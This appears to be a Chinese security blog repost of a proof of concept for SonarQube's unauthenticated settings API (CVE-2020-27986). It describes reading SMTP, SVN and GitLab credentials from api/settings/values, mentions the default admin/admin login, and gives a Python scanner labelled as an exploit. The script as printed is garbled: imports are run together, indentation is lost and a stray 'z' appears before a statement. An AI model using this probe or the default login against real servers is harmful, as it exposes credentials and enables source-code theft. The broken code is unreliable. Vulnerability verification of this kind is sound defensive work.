【漏洞验证】SonarQube 未授权漏洞Poc

admin 2022年5月15日01:01:02评论196 views字数 1908阅读6分21秒阅读模式

|0x0 团队介绍

RedCodeSecurity Team安全团队 & 安全实验室 以及安服团队,是由安全头部企业(奇安信、绿盟、360、深信服、启明等)、互联网头部企业、安全从业人员(渗透测试、安服、等保、重保、HW、代码审计、应急响应、安全巡检、安全产品代理等)、架构师、网络专家、运维专家、人工智能专家、大数据专家组建的一只安全队伍,核心业务涉及安服、渗透、等保、解决方案、以及企业内训、同时我们根据合作伙伴的需求、以及在职人员提升的需求推出安全相关的教育培训业务为安全厂商输送人才。



|0x01 漏洞影响产品概述

SonarQube是一款开源静态代码质量分析管理工具,支持Java、Python、PHP、JavaScript、CSS等27种以上目前极为流程的编程开发语言,同时它能够便捷集成在各种IDE、Jenkins、Git等服务中,方便及时查看代码质量分析报告。该工具在github开源社区获得6.3K的关注量,在全球颇具影响力,深得全球各研发工作者的喜爱。


|0x02 漏洞描述

SonarQube是一款开源静态代码质量分析管理工具,在默认配置的情况下,缺少对API 接口的访问权限控制,攻击者可利用该漏洞在未授权的情况下,通过访问api/settings/values接口从而获取到 SMTP、SVN、GitLab 凭据,进一步获取源代码数据仓库中的源代码,造成项目源代码泄露。同时还可以对使用默认账号密码的用户进行攻击,系统安装完成后,默认弱口令为admin/admin,攻击者通过输入默认账号密码,同样可以获得敏感配置信息,从而进一步窃取企业源代码。


|0x03 影响版本

此次受影响 SonarQube 版本如下

【漏洞验证】SonarQube 未授权漏洞Poc


|0x04 漏洞验证

直接未授权访问get链接即可



【漏洞验证】SonarQube 未授权漏洞Poc

常见的默认口令admin/admin

得有泄漏敏感信息才能有危害,有些并没有配置的话,危害就没多大了。比如SMTP的秘钥。

【漏洞验证】SonarQube 未授权漏洞Poc

|0x05 漏洞利用EXP


import requestsimport argparseimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class EXP(): def __init__(self, args): self.name = '''CVE-2020-27986 SonarQube api 未授权访问''' self.url = args.url self.res = ""
def _attack(self): path = '/api/settings/values' try: resp = requests.get(self.url+path, timeout=10, verify=False) if resp.status_code == 200 and 'application/json' in resp.headers['Content-Type'] and 'sonaranalyzer-cs.nuget.packageVersion' in resp.text and 'sonar.core.id' in resp.text: self.res = "存在漏洞!" else: self.res = "不存在漏洞!" except requests.exceptions.RequestException as e: print("目标连接错误....")


def parseArgs(): parser = argparse.ArgumentParser(description="[Exp]!",formatter_class=argparse.RawDescriptionHelpFormatter) group = parser.add_mutually_exclusive_group() group.add_argument("-u", '--url', help="URL to scan; -u http://example.com") args = parser.parse_args()
return args

def output(exp): # print(f"Name {exp.name}") print(f"URL {exp.url}") print(f"RES {exp.res}")

if __name__ == "__main__": args = parseArgs() z exp = EXP(args) try: exp._attack() except Exception as e: print(e) exp.res = "Error"
output(exp)


|0x6 联系我们

~扫码进群学习交流~

【漏洞验证】SonarQube 未授权漏洞Poc



原文始发于微信公众号(小白嘿课):【漏洞验证】SonarQube 未授权漏洞Poc

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月15日01:01:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞验证】SonarQube 未授权漏洞Pochttp://cn-sec.com/archives/1008324.html

发表评论

匿名网友 填写信息